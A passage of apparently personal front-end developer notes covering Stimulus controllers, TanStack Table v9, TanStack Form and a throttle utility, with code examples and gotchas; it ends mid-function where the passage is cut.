this.hasSourceTarget — boolean, for guarding optional targets.

The attribute value is a space-separated list, so one element can be several targets at once, for one controller or for many:

<input data-hello-target="name email" data-history-target="text">

A target must be a descendant of the controller element, and must not sit inside a nested scope of the same identifier.

Values

static values = {
  url: String,
  index: Number,
  enabled: Boolean,
  refreshInterval: { type: Number, default: 5000 },
}

<div data-controller="slideshow" data-slideshow-index-value="1"></div>

camelCase in JavaScript, kebab-case in HTML: refreshInterval becomes data-slideshow-refresh-interval-value.

Each value gives you:

this.indexValue — a getter and setter. Assigning writes the attribute back to the DOM; assigning undefined removes it.
this.hasIndexValue — boolean.
indexValueChanged(value, previousValue) — a change callback.

Types and their unset defaults

Type	Default when the attribute is absent
`Array`	`[]`
`Boolean`	`false`
`Number`	`0`
`Object`	`{}`
`String`	`""`

The change callback fires before `connect()`

[name]ValueChanged runs on the initial connection as well as on every change, and it runs before connect(). Code in a change callback cannot assume connect() has set anything up.

You can tell the first fire from later ones by previousValue: it's undefined when the attribute was absent, and the type default ("", 0, false) when the attribute was present.

Decoding quirks

Boolean is barely boolean. The implementation is !(value == "0" || value.toLowerCase() == "false"). Only "0" and "false" are falsy, so data-x-enabled-value="no" is true, and so is "off", ""… anything else.

Number strips underscores, so "10_000" parses fine.

Array and Object use JSON.parse and throw a TypeError on the wrong shape.

hasXValue isn't quite what the docs say. They describe it as true when the attribute is present. It's actually true when the attribute is present or you declared a custom default.

A default whose type doesn't match the declared type throws at registration time.

Classes

Keeps CSS class names out of your JavaScript, so restyling doesn't mean touching code.

static classes = ['loading', 'success']

<div data-controller="hello" data-hello-loading-class="spinner is-busy">

this.loadingClass — the raw attribute string. Throws if the attribute is missing.
this.loadingClasses — split on spaces, for element.classList.add(...this.loadingClasses).
this.hasLoadingClass — boolean.

Outlets

References to other controllers, added in Stimulus 3.2.

static outlets = ['status']

<div data-controller="chat" data-chat-status-outlet=".user-status"></div>
<div class="user-status" data-controller="status"></div>

Property	Gives you
`this.statusOutlet`	the first matching controller instance; throws if none
`this.statusOutlets`	an array of controller instances
`this.statusOutletElement`	the first matching element; throws if none
`this.statusOutletElements`	an array of elements
`this.hasStatusOutlet`	boolean

Two constraints that produce confusing errors when broken:

The outlet name must equal the target controller's identifier.
The matched element must actually carry data-controller="status", or Stimulus throws.

Unlike targets, outlets can be anywhere on the page, not just inside the controller's scope. Namespaced identifiers collapse to camelCase: outlet admin--user-status becomes this.adminUserStatusOutlets.

Note the callback argument order is controller first, element second, which is the reverse of the target callbacks.

Actions

Descriptor grammar

[keyModifier+]event[.keyFilter][@window|@document]->identifier#method[:option…]

data-action="click->hello#greet" reads as: on click, call the greet method of the hello controller.

Default events

Omit the event entirely on these elements:

Element	Event
`a`	`click`
`button`	`click`
`input type="submit"`	`click`
`details`	`toggle`
`form`	`submit`
`input`	`input`
`select`	`change`
`textarea`	`input`

So data-action="hello#greet" is enough on a <button>. Any other element without an explicit event throws missing event name.

Multiple actions

Space-separate them. They run left to right.

<button data-action="click->hello#greet click->history#save">Click me</button>

Stop the chain with event.stopImmediatePropagation().

Options

Chain with colons. A ! prefix negates any option.

Option	Effect
`:once`	listener runs once
`:capture`	listen in the capture phase
`:passive`	`{ passive: true }`
`:!passive`	`{ passive: false }`
`:stop`	`event.stopPropagation()` before invoking
`:prevent`	`event.preventDefault()` before invoking
`:self`	only invoke if `event.target` is this element

<form data-action="submit->form#save:once:prevent">

Register your own with application.registerActionOption(name, ({ event, element, value }) => boolean). Returning false blocks the invocation.

Keyboard filters

<input data-action="keydown.enter->search#submit keydown.esc->search#clear">
<div data-action="keydown.ctrl+a->listbox#selectAll">

Mapped names: enter, tab, esc, space, up, down, left, right, home, end, page_up, page_down, plus a–z and 0–9.

Modifiers: alt (option on macOS), ctrl, meta (command), shift.

Two things the docs don't mention:

Modifiers are matched exactly. keydown.enter will not fire if shift is held, because the filter requires every unlisted modifier to be false.
The .filter suffix only means "key filter" for keydown, keyup and keypress. On any other event the dot is folded back into the event name, so custom.thing->x#y listens for an event literally called custom.thing.

Mouse modifiers use the prefix form instead: shift+click->x#y.

Unknown filter names throw. Add your own via a custom keyMappings schema passed to Application.start().

Global events

Only @window and @document exist, and the list isn't extensible.

<div data-action="resize@window->layout#reflow scroll@window->nav#pin">

Action parameters

<button data-action="click->vote#upvote"
        data-vote-id-param="42"
        data-vote-url-param="/votes">Upvote</button>

upvote({ params: { id, url } }) {
  // id is the Number 42, url is the String "/votes"
}

Parameters must sit on the same element as the action. Values are typecast with JSON.parse, falling back to a string. They're scoped per identifier, so two controllers on one element each see only their own.

Cross-controller communication

this.dispatch('completed', { detail: { id: 42 } })
// fires "hello:completed" on this.element, bubbling

<div data-action="hello:completed->toast#show">

dispatch() prefixes the event name with the controller identifier and bubbles by default. Options: target, detail, prefix, bubbles, cancelable.

For direct method calls rather than events, use outlets.

Naming conventions

Component	Convention	Rationale
Controller filenames	`snake_case.js`	Rails works that way
Identifiers	`kebab-case`	used in HTML attribute names, like CSS classes
Action names	`camelCase`	map directly to controller methods
Target names	`camelCase`	map directly to controller properties
Value names	`camelCase` in JS, `kebab-case` in HTML	thin wrapper over `HTMLElement.dataset`

Identifiers are derived from the filename:

clipboard_controller.js → clipboard
date_picker_controller.js → date-picker
local-time-controller.js → local-time
users/list_item_controller.js → users--list-item

Underscores and dashes are interchangeable in filenames; a directory separator becomes --.

Gotchas

Errors are swallowed. Every call into your code is wrapped in try/catch, logged, and forwarded to window.onerror. A controller whose connect() throws doesn't break the page, it just silently does nothing. Set application.handleError on any real project.

Clean up in disconnect(). Stimulus removes only the listeners it installed through data-action. Timers, manual addEventListener calls, IntersectionObservers, AbortControllers and third-party widgets are all yours to tear down.

connect() { this.timer = setInterval(() => this.refresh(), 5000) }
disconnect() { clearInterval(this.timer) }

Turbo page changes destroy controllers. Turbo caches pages with cloneNode(true), which discards event listeners and attached data, so a restored page gets fresh controller instances rather than resumed ones. Reset transient UI in turbo:before-cache, and use id plus data-turbo-permanent to persist an element and its controller across navigations.

Everything is microtask-deferred. Remove an element and immediately assert that disconnect() ran, and it won't have yet.

There's a memory leak in 3.2.2. When an element carrying data-action is removed while its controller element survives, Stimulus's internal dispatcher keeps a strong Map entry keyed by that detached element, retaining it for the lifetime of the application. This is exactly the shape of Turbo 8 morphing and stream-driven list updates.

The fix (PR #877) was merged in June 2026 but is not in any release yet. Its own measurement, on a page morph-refreshing about 70 rows, found 272 retained detached buttons and 5.4 MB of retained heap over 40 re-renders, dropping to zero afterwards. If you're on Turbo morphing with long-lived pages, take a heap snapshot rather than assuming you're fine.

Full example

<div data-controller="clipboard"
     data-clipboard-supported-value="true"
     data-clipboard-copied-class="is-copied">
  <input data-clipboard-target="source" type="text" value="hello" readonly>
  <button data-action="clipboard#copy" data-clipboard-label-param="Copied!">
    Copy
  </button>
  <span data-clipboard-target="feedback" role="status" aria-live="polite"></span>
</div>

import { Controller } from '@hotwired/stimulus'

export default class extends Controller {
  static targets = ['source', 'feedback']
  static classes = ['copied']
  static values = { supported: Boolean, resetAfter: { type: Number, default: 2000 } }

  connect() {
    this.element.hidden = !this.supportedValue
  }

  disconnect() {
    clearTimeout(this.resetTimer)
  }

  async copy({ params: { label } }) {
    await navigator.clipboard.writeText(this.sourceTarget.value)
    this.element.classList.add(this.copiedClass)
    this.feedbackTarget.textContent = label

    clearTimeout(this.resetTimer)
    this.resetTimer = setTimeout(() => this.reset(), this.resetAfterValue)
  }

  reset() {
    this.element.classList.remove(this.copiedClass)
    this.feedbackTarget.textContent = ''
  }
}

TanStack Table

Zander Martineau — Mon, 28 Sep 2026 00:00:00 GMT

TanStack Table is a headless table library. It gives you the state and logic for sorting, filtering, pagination and row selection, and you write all of the markup and styles yourself. Use it when a table needs two or more of those features, or needs them to work against a server. If you only show a list of rows, a plain <table> and .map() is enough.

These notes are for v9. Most code online is v8 — see v8 → v9 below.

Install

npm install @tanstack/react-table

v9 is ESM-only.

Basic table

In v9 you declare the features a table uses with tableFeatures(). With no features you still get the core row model. The column helper takes the features type and your row type.

import {
  createColumnHelper,
  tableFeatures,
  useTable,
} from '@tanstack/react-table'

type Person = {
  id: string
  name: string
  email: string
  age: number
}

const features = tableFeatures({})

const columnHelper = createColumnHelper<typeof features, Person>()

const columns = columnHelper.columns([
  columnHelper.accessor('name', { header: 'Name' }),
  columnHelper.accessor('email', {
    header: 'Email',
    cell: (info) => <a href={`mailto:${info.getValue()}`}>{info.getValue()}</a>,
  }),
  columnHelper.accessor('age', { header: 'Age' }),
])

export function PeopleTable({ data }: { data: Array<Person> }) {
  const table = useTable({
    features,
    columns,
    data,
    getRowId: (row) => row.id,
  })

  return (
    <table>
      <thead>
        {table.getHeaderGroups().map((headerGroup) => (
          <tr key={headerGroup.id}>
            {headerGroup.headers.map((header) => (
              <th key={header.id} colSpan={header.colSpan} scope="col">
                {header.isPlaceholder ? null : (
                  <table.FlexRender header={header} />
                )}
              </th>
            ))}
          </tr>
        ))}
      </thead>
      <tbody>
        {table.getRowModel().rows.map((row) => (
          <tr key={row.id}>
            {row.getAllCells().map((cell) => (
              <td key={cell.id}>
                <table.FlexRender cell={cell} />
              </td>
            ))}
          </tr>
        ))}
      </tbody>
    </table>
  )
}

columnHelper.columns([...]) keeps each column's value type, so info.getValue() is typed.
<table.FlexRender header={header} /> and <table.FlexRender cell={cell} /> render the header and cell column options. The old flexRender(def, context) function still works.
getRowId gives rows a stable id. Without it the id is the row index, which breaks selection when data changes.

Sorting, filtering and pagination

Each feature goes into tableFeatures() with its row model. Register only the sort and filter functions you use; string names like 'alphanumeric' resolve only when they are registered. The table keeps its own state, so you read it from table.state and change it with methods such as table.setGlobalFilter() and table.nextPage().

import {
  columnFilteringFeature,
  createColumnHelper,
  createFilteredRowModel,
  createPaginatedRowModel,
  createSortedRowModel,
  filterFn_includesString,
  globalFilteringFeature,
  rowPaginationFeature,
  rowSortingFeature,
  sortFn_alphanumeric,
  sortFn_basic,
  tableFeatures,
  useTable,
} from '@tanstack/react-table'

// Person is the same type as in the basic table

const features = tableFeatures({
  rowSortingFeature,
  columnFilteringFeature,
  globalFilteringFeature,
  rowPaginationFeature,
  sortedRowModel: createSortedRowModel(),
  filteredRowModel: createFilteredRowModel(),
  paginatedRowModel: createPaginatedRowModel(),
  sortFns: { alphanumeric: sortFn_alphanumeric, basic: sortFn_basic },
  filterFns: { includesString: filterFn_includesString },
})

const columnHelper = createColumnHelper<typeof features, Person>()

const columns = columnHelper.columns([
  columnHelper.accessor('name', { header: 'Name', sortFn: 'alphanumeric' }),
  columnHelper.accessor('email', { header: 'Email', enableSorting: false }),
  columnHelper.accessor('age', { header: 'Age', sortFn: 'basic' }),
])

const ariaSort = {
  asc: 'ascending',
  desc: 'descending',
} as const

const arrows = { asc: ' ↑', desc: ' ↓' }

export function PeopleTable({ data }: { data: Array<Person> }) {
  const table = useTable({
    features,
    columns,
    data,
    getRowId: (row) => row.id,
    globalFilterFn: 'includesString',
    initialState: {
      pagination: { pageIndex: 0, pageSize: 20 },
    },
  })

  return (
    <>
      <input
        type="search"
        aria-label="Search people"
        placeholder="Search…"
        value={table.state.globalFilter ?? ''}
        onChange={(e) => table.setGlobalFilter(e.target.value)}
      />

      <table>
        <thead>
          {table.getHeaderGroups().map((headerGroup) => (
            <tr key={headerGroup.id}>
              {headerGroup.headers.map((header) => {
                const sorted = header.column.getIsSorted()
                return (
                  <th
                    key={header.id}
                    scope="col"
                    aria-sort={sorted ? ariaSort[sorted] : undefined}
                  >
                    {header.column.getCanSort() ? (
                      <button
                        type="button"
                        onClick={header.column.getToggleSortingHandler()}
                      >
                        <table.FlexRender header={header} />
                        {sorted ? arrows[sorted] : null}
                      </button>
                    ) : (
                      <table.FlexRender header={header} />
                    )}
                  </th>
                )
              })}
            </tr>
          ))}
        </thead>
        <tbody>
          {table.getRowModel().rows.map((row) => (
            <tr key={row.id}>
              {row.getAllCells().map((cell) => (
                <td key={cell.id}>
                  <table.FlexRender cell={cell} />
                </td>
              ))}
            </tr>
          ))}
        </tbody>
      </table>

      <nav aria-label="Pagination">
        <button
          type="button"
          onClick={() => table.previousPage()}
          disabled={!table.getCanPreviousPage()}
        >
          Previous
        </button>
        <span>
          Page {table.state.pagination.pageIndex + 1} of {table.getPageCount()}
        </span>
        <button
          type="button"
          onClick={() => table.nextPage()}
          disabled={!table.getCanNextPage()}
        >
          Next
        </button>
        <select
          aria-label="Rows per page"
          value={table.state.pagination.pageSize}
          onChange={(e) => table.setPageSize(Number(e.target.value))}
        >
          {[10, 20, 50].map((size) => (
            <option key={size} value={size}>
              {size} per page
            </option>
          ))}
        </select>
      </nav>
    </>
  )
}

Global filtering needs columnFilteringFeature as well as globalFilteringFeature. The page index goes back to 0 when the filter or sort changes.

Set starting values with initialState. If your own code must own a slice of state (for example, to put it in the URL), pass state and the matching on[Slice]Change handler, the same as v8.

Row selection

Add rowSelectionFeature and a display column for the checkboxes. Render the table as in the basic example.

import {
  createColumnHelper,
  rowSelectionFeature,
  tableFeatures,
  useTable,
} from '@tanstack/react-table'

// Person is the same type as in the basic table

const features = tableFeatures({ rowSelectionFeature })

const columnHelper = createColumnHelper<typeof features, Person>()

const columns = columnHelper.columns([
  columnHelper.display({
    id: 'select',
    header: ({ table }) => (
      <input
        type="checkbox"
        aria-label="Select all rows"
        checked={table.getIsAllRowsSelected()}
        ref={(el) => {
          if (el) {
            el.indeterminate =
              table.getIsSomeRowsSelected() && !table.getIsAllRowsSelected()
          }
        }}
        onChange={table.getToggleAllRowsSelectedHandler()}
      />
    ),
    cell: ({ row }) => (
      <input
        type="checkbox"
        aria-label={`Select ${row.original.name}`}
        checked={row.getIsSelected()}
        disabled={!row.getCanSelect()}
        onChange={row.getToggleSelectedHandler()}
      />
    ),
  }),
  columnHelper.accessor('name', { header: 'Name' }),
  columnHelper.accessor('email', { header: 'Email' }),
])

export function useSelectablePeopleTable(data: Array<Person>) {
  const table = useTable({
    features,
    columns,
    data,
    getRowId: (row) => row.id,
    enableRowSelection: (row) => row.original.age >= 18,
  })

  // { [rowId]: true }
  const selection = table.state.rowSelection
  const selectedPeople = table
    .getSelectedRowModel()
    .rows.map((row) => row.original)

  return { table, selection, selectedPeople }
}

rowSelection state is an object of selected row ids, which is why getRowId matters.
row.getToggleSelectedHandler() selects a range on Shift-click by default in v9. Set enableRowRangeSelection: false to stop that.
In v9, getIsSomeRowsSelected() stays true when all rows are selected, so check !getIsAllRowsSelected() for the indeterminate state.

Server-side sorting and pagination

When the server sorts and paginates, leave out the sorted and paginated row models and set manualSorting and manualPagination. Hold the state yourself, put it in the query key, and give the table the total with rowCount (or pageCount; use -1 when the total is unknown). See React Query for more on useQuery.

import { useState } from 'react'
import { keepPreviousData, useQuery } from '@tanstack/react-query'
import {
  createColumnHelper,
  rowPaginationFeature,
  rowSortingFeature,
  tableFeatures,
  useTable,
} from '@tanstack/react-table'
import type { PaginationState, SortingState } from '@tanstack/react-table'

// Person is the same type as in the basic table

type PeoplePage = {
  rows: Array<Person>
  rowCount: number
}

declare function fetchPeople(params: {
  pageIndex: number
  pageSize: number
  sorting: SortingState
}): Promise<PeoplePage>

// No row models: the server sorts and paginates
const features = tableFeatures({ rowSortingFeature, rowPaginationFeature })

const columnHelper = createColumnHelper<typeof features, Person>()

const columns = columnHelper.columns([
  columnHelper.accessor('name', { header: 'Name' }),
  columnHelper.accessor('email', { header: 'Email' }),
  columnHelper.accessor('age', { header: 'Age' }),
])

const emptyRows: Array<Person> = []

export function usePeopleTable() {
  const [sorting, setSorting] = useState<SortingState>([])
  const [pagination, setPagination] = useState<PaginationState>({
    pageIndex: 0,
    pageSize: 20,
  })

  const query = useQuery({
    queryKey: ['people', pagination, sorting],
    queryFn: () => fetchPeople({ ...pagination, sorting }),
    placeholderData: keepPreviousData,
  })

  const table = useTable({
    features,
    columns,
    data: query.data?.rows ?? emptyRows,
    rowCount: query.data?.rowCount,
    getRowId: (row) => row.id,
    state: { sorting, pagination },
    onSortingChange: (updater) => {
      setSorting(updater)
      // No sorted row model, so reset the page yourself
      setPagination((prev) => ({ ...prev, pageIndex: 0 }))
    },
    onPaginationChange: setPagination,
    manualSorting: true,
    manualPagination: true,
  })

  return { table, query }
}

placeholderData: keepPreviousData keeps the current page on screen while the next one loads, so the table does not flash empty. Use query.isFetching for a loading indicator.
emptyRows is defined outside the component. query.data?.rows ?? [] makes a new array on each render.
Without the sorted or filtered row models, the table does not reset the page for you. Reset pageIndex in the change handler, as above.
For a server-side search box, add columnFilteringFeature, globalFilteringFeature and manualFiltering: true, put globalFilter in the query key, and debounce the input so each key press does not start a request.

v8 → v9

useReactTable is now useTable.
The features option is required. Use tableFeatures({ ... }), or stockFeatures for all features as in v8 (bigger bundle).
Row models move into tableFeatures(): getSortedRowModel() becomes sortedRowModel: createSortedRowModel(), and the same for filtered, paginated, expanded, grouped and faceted. getCoreRowModel() is gone; the core row model is always there.
filterFns, sortFns and aggregationFns are registered on tableFeatures(). Prefer single imports such as filterFn_includesString and sortFn_alphanumeric.
Sorting renames: sortingFn → sortFn, sortingFns → sortFns, SortingFn → SortFn.
table.getState() is replaced by table.state (or table.store.state). onStateChange is removed; the per-slice on[Slice]Change handlers remain.
Types take the features type first: ColumnDef<typeof features, Person>, Row<typeof features, Person>, createColumnHelper<typeof features, Person>().
<table.FlexRender /> and <FlexRender /> are new. flexRender() still works.
Row, cell, column and header methods live on the prototype. Do not destructure them: use row.getValue('name'), not const { getValue } = row.
Column pinning uses start/end instead of left/right, and enablePinning is split into enableColumnPinning and enableRowPinning.
Column sizing and resizing are two features. columnSizingInfo state is now columnResizing.
table.Subscribe and a selector (the second argument to useTable) let parts of the UI re-render only when their slice of state changes.
useLegacyTable from @tanstack/react-table/legacy accepts v8-style options, to help you migrate in steps. It is deprecated.

Gotchas

Keep data and columns stable. Define columns outside the component, or use useMemo if they depend on props. Never pass data={[]} or data={items.filter(...)} inline: a new array on each render makes the table recompute, and with state updates this can cause an infinite render loop. Use a module-level empty array, useState or useMemo.
Use a real <table>. Headless means the semantics are your job. Keep <table>, <thead>, <tbody>, <th scope="col"> and <td> so screen readers can move by row and column.
Put aria-sort on the <th>, only on the sorted column, with ascending or descending.
Sort with a <button> in the header, not an onClick on the <th> or a <div>. A button gets focus, Enter and Space for free.
Label the controls. Checkboxes, the search input and the page-size select need an accessible name (aria-label or a <label>).

For thousands of rows, render only the rows on screen with TanStack Virtual.

TanStack Form

Zander Martineau — Mon, 28 Sep 2026 00:00:00 GMT

TanStack Form is a headless form library. It gives you form state, validation and submission, and you bring your own markup. Field names and values are fully typed from defaultValues, and each field subscribes to its own slice of state, so typing in one input doesn't re-render the whole form. Reach for it when a form has client-side validation, async checks, dynamic arrays or linked fields. For a simple form that posts and reloads, a plain <form> with FormData (or a Server Action) is enough.

Install

npm i @tanstack/react-form

Basic form

useForm holds the state. form.Field renders one field through a render prop and hands you field.state plus the handlers. Call e.preventDefault() yourself, then form.handleSubmit().

import { useForm } from '@tanstack/react-form'

export function SignupForm() {
  const form = useForm({
    defaultValues: {
      email: '',
    },
    onSubmit: async ({ value }) => {
      console.log(value)
    },
  })

  return (
    <form
      onSubmit={(e) => {
        e.preventDefault()
        form.handleSubmit()
      }}
    >
      <form.Field
        name="email"
        validators={{
          onChange: ({ value }) =>
            value.includes('@') ? undefined : 'Enter a valid email',
        }}
        children={(field) => {
          const showError =
            field.state.meta.isTouched && !field.state.meta.isValid

          return (
            <div>
              <label htmlFor={field.name}>Email</label>
              <input
                id={field.name}
                name={field.name}
                type="email"
                value={field.state.value}
                onBlur={field.handleBlur}
                onChange={(e) => field.handleChange(e.target.value)}
                aria-invalid={showError}
                aria-describedby={showError ? `${field.name}-error` : undefined}
              />
              {showError && (
                <p id={`${field.name}-error`}>
                  {field.state.meta.errors.join(', ')}
                </p>
              )}
            </div>
          )
        }}
      />

      <form.Subscribe
        selector={(state) => [state.canSubmit, state.isSubmitting]}
        children={([canSubmit, isSubmitting]) => (
          <button type="submit" disabled={!canSubmit}>
            {isSubmitting ? 'Saving…' : 'Sign up'}
          </button>
        )}
      />
    </form>
  )
}

field.handleBlur sets isTouched, so errors wait until the user has left the field.
form.Subscribe re-renders only when the selected values change. Use it for anything that reads form-wide state.
canSubmit stays true until the form is touched, then goes false while any field is invalid.

Validation

Field validators

Each validator gets { value, fieldApi } and returns an error or undefined. Pick when it runs with the key: onChange, onBlur, onSubmit or onMount. Every sync key has an async twin (onChangeAsync, onBlurAsync, …) with its own debounce (onChangeAsyncDebounceMs). This is where a "username taken" check goes (compare with a hand-rolled debounce):

import { useForm } from '@tanstack/react-form'
import { isUsernameTaken } from './api'

export function UsernameForm() {
  const form = useForm({ defaultValues: { username: '' } })

  return (
    <form.Field
      name="username"
      validators={{
        onChange: ({ value }) =>
          value.length < 3 ? 'At least 3 characters' : undefined,
        onBlur: ({ value }) =>
          /^[a-z0-9_]+$/.test(value)
            ? undefined
            : 'Lowercase letters, numbers and _ only',
        onChangeAsyncDebounceMs: 500,
        onChangeAsync: async ({ value }) =>
          (await isUsernameTaken(value)) ? 'That username is taken' : undefined,
      }}
      children={(field) => (
        <>
          <input
            value={field.state.value}
            onBlur={field.handleBlur}
            onChange={(e) => field.handleChange(e.target.value)}
          />
          {field.state.meta.isValidating && <span>Checking…</span>}
          {field.state.meta.isTouched && (
            <em>{field.state.meta.errors.join(', ')}</em>
          )}
        </>
      )}
    />
  )
}

The async validator only runs when the sync one passes. Set asyncAlways: true to change that.
field.state.meta.errors holds every current error. field.state.meta.errorMap.onBlur (etc.) gives you the error from one trigger.
asyncDebounceMs on the field sets a default debounce for all its async validators.

Schema validation with Zod

Any Standard Schema library (Zod, Valibot, ArkType, Effect Schema) works directly. No adapter needed. Pass the schema to the form's validators and the errors land on the matching fields:

import { useForm } from '@tanstack/react-form'
import { z } from 'zod'
import { createAccount } from './api'

const schema = z.object({
  name: z.string().min(1, 'Required'),
  age: z.number().min(18, 'You must be 18 or over'),
})

export function AccountForm() {
  const form = useForm({
    defaultValues: { name: '', age: 0 },
    validators: {
      onChange: schema,
    },
    onSubmit: async ({ value }) => {
      await createAccount(value)
    },
  })

  return (
    <form.Field
      name="age"
      children={(field) => (
        <>
          <input
            type="number"
            value={field.state.value}
            onBlur={field.handleBlur}
            onChange={(e) => field.handleChange(e.target.valueAsNumber)}
          />
          {field.state.meta.isTouched &&
            field.state.meta.errors.map((error) => (
              <p key={error?.message}>{error?.message}</p>
            ))}
        </>
      )}
    />
  )
}

Schema errors are issue objects, not strings, so render error.message.
onSubmit receives the schema's input values. If the schema transforms data, call schema.parse(value) in onSubmit.
You can also pass a schema to a single field: validators={{ onChange: z.string().min(3) }}.

Array fields

Put mode="array" on the parent field, then render one sub-field per item with a bracketed name:

import { useForm } from '@tanstack/react-form'

export function TeamForm() {
  const form = useForm({
    defaultValues: {
      people: [] as { name: string }[],
    },
  })

  return (
    <form.Field name="people" mode="array">
      {(field) => (
        <div>
          {field.state.value.map((_, i) => (
            <div key={i}>
              <form.Field name={`people[${i}].name`}>
                {(subField) => (
                  <input
                    aria-label={`Person ${i + 1} name`}
                    value={subField.state.value}
                    onChange={(e) => subField.handleChange(e.target.value)}
                  />
                )}
              </form.Field>
              <button type="button" onClick={() => field.removeValue(i)}>
                Remove
              </button>
            </div>
          ))}
          <button type="button" onClick={() => field.pushValue({ name: '' })}>
            Add person
          </button>
        </div>
      )}
    </form.Field>
  )
}

Other array helpers on the field: insertValue, replaceValue, swapValues and moveValue.

Linked fields

A field's validators only re-run when that field changes. Use onChangeListenTo (or onBlurListenTo) to re-run them when another field changes too, e.g. confirm password:

import { useForm } from '@tanstack/react-form'

export function PasswordForm() {
  const form = useForm({
    defaultValues: { password: '', confirmPassword: '' },
  })

  return (
    <form.Field
      name="confirmPassword"
      validators={{
        onChangeListenTo: ['password'],
        onChange: ({ value, fieldApi }) =>
          value !== fieldApi.form.getFieldValue('password')
            ? 'Passwords do not match'
            : undefined,
      }}
      children={(field) => (
        <input
          type="password"
          value={field.state.value}
          onChange={(e) => field.handleChange(e.target.value)}
        />
      )}
    />
  )
}

With TanStack Query

Load with useQuery, save with useMutation, and await mutation.mutateAsync() inside onSubmit. isSubmitting stays true until that promise settles. See React Query for the Query side.

Render the form only after the data is there, so defaultValues is correct on the first render. To put server errors back on fields, call formApi.setErrorMap() with a { form, fields } object. Each field error clears when the user edits that field.

import { useForm } from '@tanstack/react-form'
import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
import { ApiError, getProfile, updateProfile, type Profile } from './api'

export function ProfilePage() {
  const { data, isPending, isError } = useQuery({
    queryKey: ['profile'],
    queryFn: getProfile,
  })

  if (isPending) return <p>Loading…</p>
  if (isError) return <p>Could not load your profile</p>

  return <ProfileForm profile={data} />
}

function ProfileForm({ profile }: { profile: Profile }) {
  const queryClient = useQueryClient()
  const mutation = useMutation({
    mutationFn: updateProfile,
    onSuccess: (saved) => queryClient.setQueryData(['profile'], saved),
  })

  const form = useForm({
    defaultValues: profile,
    onSubmit: async ({ value, formApi }) => {
      try {
        const saved = await mutation.mutateAsync(value)
        formApi.reset(saved)
      } catch (error) {
        if (error instanceof ApiError) {
          formApi.setErrorMap({
            onSubmit: { form: error.message, fields: error.fields },
          })
          return
        }
        throw error
      }
    },
  })

  return (
    <form
      onSubmit={(e) => {
        e.preventDefault()
        form.handleSubmit()
      }}
    >
      {/* fields… */}
      <form.Subscribe
        selector={(state) => state.errorMap.onSubmit}
        children={(error) =>
          error ? <p role="alert">{String(error)}</p> : null
        }
      />
    </form>
  )
}

formApi.reset(saved) sets the values and the new defaults, so the form is clean again after a save.
A server check you want to run as part of validation, before onSubmit, can go in the form's validators.onSubmitAsync. It returns the same { form, fields } shape.
If onSubmit returns normally after setErrorMap, isSubmitSuccessful is still true. Check canSubmit or the error map, not that flag.

Reusable fields with `createFormHook`

The docs recommend this for real apps. Bind your UI components to a custom useAppForm once, and each form gets form.AppField with field.TextField and friends, all still typed.

// form-context.tsx
import { createFormHookContexts } from '@tanstack/react-form'

export const { fieldContext, formContext, useFieldContext, useFormContext } =
  createFormHookContexts()

// fields.tsx
import { useId } from 'react'
import { useFieldContext, useFormContext } from './form-context'

export function TextField({ label }: { label: string }) {
  const field = useFieldContext<string>()
  const id = useId()
  const showError = field.state.meta.isTouched && !field.state.meta.isValid

  return (
    <div>
      <label htmlFor={id}>{label}</label>
      <input
        id={id}
        value={field.state.value}
        onBlur={field.handleBlur}
        onChange={(e) => field.handleChange(e.target.value)}
        aria-invalid={showError}
        aria-describedby={showError ? `${id}-error` : undefined}
      />
      {showError && (
        <p id={`${id}-error`}>
          {field.state.meta.errors
            .map((error) =>
              typeof error === 'string' ? error : error?.message,
            )
            .join(', ')}
        </p>
      )}
    </div>
  )
}

export function SubmitButton({ label }: { label: string }) {
  const form = useFormContext()
  return (
    <form.Subscribe
      selector={(state) => [state.canSubmit, state.isSubmitting]}
      children={([canSubmit, isSubmitting]) => (
        <button type="submit" disabled={!canSubmit}>
          {isSubmitting ? 'Saving…' : label}
        </button>
      )}
    />
  )
}

// app-form.tsx
import { createFormHook } from '@tanstack/react-form'
import { z } from 'zod'
import { fieldContext, formContext } from './form-context'
import { SubmitButton, TextField } from './fields'

export const { useAppForm } = createFormHook({
  fieldContext,
  formContext,
  fieldComponents: { TextField },
  formComponents: { SubmitButton },
})

export function ContactForm() {
  const form = useAppForm({
    defaultValues: { name: '', email: '' },
    validators: {
      onChange: z.object({
        name: z.string().min(1, 'Required'),
        email: z.email('Enter a valid email'),
      }),
    },
    onSubmit: ({ value }) => console.log(value),
  })

  return (
    <form
      onSubmit={(e) => {
        e.preventDefault()
        form.handleSubmit()
      }}
    >
      <form.AppField
        name="name"
        children={(field) => <field.TextField label="Name" />}
      />
      <form.AppField
        name="email"
        children={(field) => <field.TextField label="Email" />}
      />
      <form.AppForm>
        <form.SubmitButton label="Send" />
      </form.AppForm>
    </form>
  )
}

useAppForm takes every useForm option. form.AppField takes every form.Field prop.
Components in formComponents must sit inside <form.AppForm> to get the form context.
To split a big form across components, use withForm from the same createFormHook call.

Gotchas and accessibility

Always call e.preventDefault() in the <form> onSubmit, or the browser does a full-page submit.
Give a reset button type="button" or call e.preventDefault() before form.reset(). A native reset event can clear <select> elements unexpectedly.
Pair every input with a <label htmlFor> and a matching id. field.name works for flat forms. Use useId() in shared components or array rows, where names contain brackets or repeat.
Set aria-invalid and point aria-describedby at the error element, but only once there is an error to show.
Don't show errors before isTouched. onChange validators run on the first keystroke. On submit, handleSubmit marks every field as touched, so the errors appear then.
disabled submit buttons can't be focused and give no reason. Consider aria-disabled and let onSubmitInvalid move focus to the first error.
Import types such as AnyFieldApi from @tanstack/react-form if you need to type a helper that takes a field.

Throttle

Zander Martineau — Mon, 28 Sep 2026 00:00:00 GMT

A throttled function runs at most once every interval ms, however often it's called. Unlike debounce, it keeps firing while the events keep coming.

Use it for continuous events where you want steady updates: scroll, resize, pointer move, drag, sliders.

JavaScript

It runs on the first call, then ignores calls until interval has passed.

const throttle = (fn, interval) => {
  let last = 0
  return (...args) => {
    const now = Date.now()
    if (now - last >= interval) {
      last = now
      fn(...args)
    }
  }
}

TypeScript

export const throttle = <Args extends unknown[]>(
  fn: (...args: Args) => void,
  interval: number,
) => {
  let last = 0
  return (...args: Args) => {
    const now = Date.now()
    if (now - last >= interval) {
      last = now
      fn(...args)
    }
  }
}

Compare with debounce: debounce resets a timer on every call, throttle checks the clock.

Don't drop the last call

The catch with the version above: calls inside the interval are thrown away, including the last one. Scroll to the bottom quickly and the handler may never see the final position.

This version keeps only the latest call and runs it when the interval ends. The React hooks below use it.

export const throttleTrailing = <Args extends unknown[]>(
  fn: (...args: Args) => void,
  interval: number,
) => {
